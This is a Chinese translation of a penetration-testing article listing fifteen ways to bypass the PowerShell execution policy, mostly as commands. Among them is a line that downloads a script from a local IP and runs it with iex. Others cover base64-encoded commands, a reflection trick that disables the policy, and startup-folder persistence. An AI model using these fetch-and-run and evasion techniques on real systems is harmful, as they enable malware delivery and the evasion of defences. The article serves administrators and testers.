search
尋找貓咪~QQ 地點 桃園市桃園區 Taoyuan , Taoyuan

繞過 PowerShell 執行策略的 15 種方法

在Windows上,PowerShell的默認配置是不允許執行腳本文件的。這對於一些滲透測試人員,系統管理員,程序員等來說,是一個必須面對的障礙。本文中,我將提出15種不需要本地管理員許可權就繞過該執行保護策略的方法。我確定依然有許多甚至我不知道的方法沒有提到,但是我希望本文對那些需要的人來說是一個良好的開端。

PowerShell執行策略是用來限制哪些類型的PowerShell腳本能在系統上直接運行。默認它的設置時Restricted,即任何腳本都不行。但是,我們需要明確該設置從來都沒打算設計成為一個安全控制策略,相反,它本來是為了防止系統管理員發生搬起石頭砸自己的腳的情況。這就是為什麼有許多圍繞它的選項。其中包括一些微軟自身提供的。若想了解更多PowerShell的執行策略設置和其他默認安全設置,我推薦你讀Carlos Perez的博客,它提供了一個比較全面的概述。

為什麼我想繞過執行策略?

為什麼PowerShell如此流行,我聽到過不少的答案,最常聽到就是它可以實現自動化,以下是一些管理員,滲透測試人員,黑客之所以喜歡它的一些原因:

  • 是Windows原生的

  • 可以調用Windows API

  • 不需要寫入磁碟就可以執行命令

  • 可以逃避Anti-Virus的檢測

  • 被大多數程序加入白名單中,標記為可信的

  • 有許多開源的滲透工具集

在使用PowerShell的所有驚奇的特性前,攻擊者要做的第一件事就是繞過Restricted執行策略。可以通過命令Get-ExectionPolicy來獲得當前策略。如果你是第一次使用這個命令,則應該是設置為Restricted的,如下:

PS C:\> Get-ExecutionPolicy

同樣可以將執行策略設置為不同的級別。如下查看支持的所有級別,若想了解更多關於」Set-ExecutionPolicy」的信息,查看 Set-ExecutionPolicy

PS C:\> Get-ExecutionPolicy -List | Format-Table -AutoSize

實驗環境設置

我會使用如下一個腳本來作為例子,runme.ps1,該明白用來向控制台輸出一句話:

Write-Host "My voice is my passport, verify me."

當我在默認策略的主機上,嘗試執行該腳本時,會出現如下錯誤:

如果你的策略太open,你想使用更嚴格的方式來測試如下的方案,你需要切換到管理員身份,執行Set-ExecutionPolicy Restricted。OK,接下來是15種方式:

15 種繞過方式

將你的腳本內容粘貼到一個互動式的 PowerShell 窗口中

如下,將你的腳本粘貼到console中。但是,你要記住,你的受限程度取決於你當前用戶的許可權。假如你有一個可以互動式的窗口,則這是最基本的一種方法,而且不需要做任何的配置改變和寫入到磁碟中。

Echo腳本內容,然後Pipe到PowerShell的標準輸入中

Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -

從一個文件中讀取腳本,然後Pipe到PowerShell的標準輸入中

此方法有個缺點就是會寫入腳本到本地磁碟中,但是你可以從一個網路共享中讀取腳本,來避免寫內容到磁碟中。

PS C:\temp> Type .\runme.ps1 | powershell.exe -noprofile -

從一個URL Download腳本內容,然後執行

PS C:\temp> powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://192.168.1.2/runme.ps1')"

使用-command命令參數

此方法和直接粘貼腳本內容執行的方式很像,但是此方法不需要一個互動式的窗口。它適用於簡單腳本的執行,對於複雜腳本會發生解析錯誤。該方法同樣不會寫內容到磁碟中。

powershell -command "Write-Host 'My voice is my passport, verify me.'"

你可以將該命令寫到一個bat文件中,然後放到啟動目錄中,來幫助提權。

使用-encodedCommand命令參數

該方法和上一個方法很相似,但是此方式腳本內容是Unicode/base64 encode的字元串。使用編碼的好處是可以讓你避免執行使用Command參數時產生一些糟糕的解析問題。以下的例子是摘自Posh-SecMod。該工具套件還包括一個小的壓縮方法來減少由於encode后字元串太長的情況。

$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

使用Invoke-Command 命令

該方法最cool點在於對抗那些PowerShell remoting開啟的Remote系統。

invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}

如下命令,可用來從一個遠程系統上抓取執行策略同時運用到本地計算機中.

invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force

使用 Invoke-Expression 命令

PS C:\temp> Get-Content ./runme.ps1 | Invoke-ExpressionPS C:\temp> gc .\runme.ps1 | iex(短命令格式)

使用Bypass執行策略標誌

這個方法是微軟提供的用來繞過執行策略的一種方式。當指定該標誌后,即視為什麼都不做,什麼警告也不提示。

powershell -ExecutionPolicy bypass -File ./runme.ps1

使用Unrestricted執行策略標誌

該標誌和bypass很像,但是當使用該標誌時,即意味著載入所有的配置文件和執行所有的腳本。如果你運行一個從網上下載的未簽名的腳本,會給出許可權提示。

powershell -ExecutionPolicy unrestricted -File ./runme.ps1

使用Remote-Signed執行策略標誌

創建你的腳本,然後按指南簽名。最後運行:

PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1

通過換出認證管理器,禁用執行策略

非常有創造性的一個。如下函數可以在互動式窗口中使用,也可以在Command參數中指定。一旦該函數被執行,則會換出認證管理器,同時默認策略改為unrestricted。但是該方法只在一個會話範圍內有效。

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype.getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype.getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} Disable-ExecutionPolicy ./runme.ps1

設置執行策略為Process作用域

我們之前介紹中提到過,執行策略可以應用到過個級別。其中就包括你完全控制的process。使用該方法僅限於當前session中,執行策略會變為unrestricted。

Set-ExecutionPolicy Bypass -Scope Process

通過命令設置執行策略為CurrentUser作用域

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

通過註冊表設置執行策略為CurrentUser作用域

該方法和Process作用域方法很相似,但是通過修改註冊表Key可將設置持續應用到當前用戶的環境中。

HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell

總結

該主題的目的是為了讓執行策略不再成為程序員,管理員或滲透測試人員的一個障礙。微軟同樣也沒有打算將其設置為一個安全控制。這就是為什麼有如此多的方法來繞過它。微軟也提供了一些本地選項,安全社區中同樣有許多有意思的tricks。最後,祝在PowerShell冒險中好運,別忘了為你的Hack行為負責。

本文由 看雪翻譯小組 ghostway 編譯,來源Scott Sutherland@netspi

轉載請註明來自看雪論壇

如果你喜歡的話,不要忘記點個贊哦!

熱門閱讀文章:



熱門推薦

本文由 yidianzixun 提供 原文連結

寵物協尋 相信 終究能找到回家的路
寫了7763篇文章,獲得2次喜歡
留言回覆
回覆
精彩推薦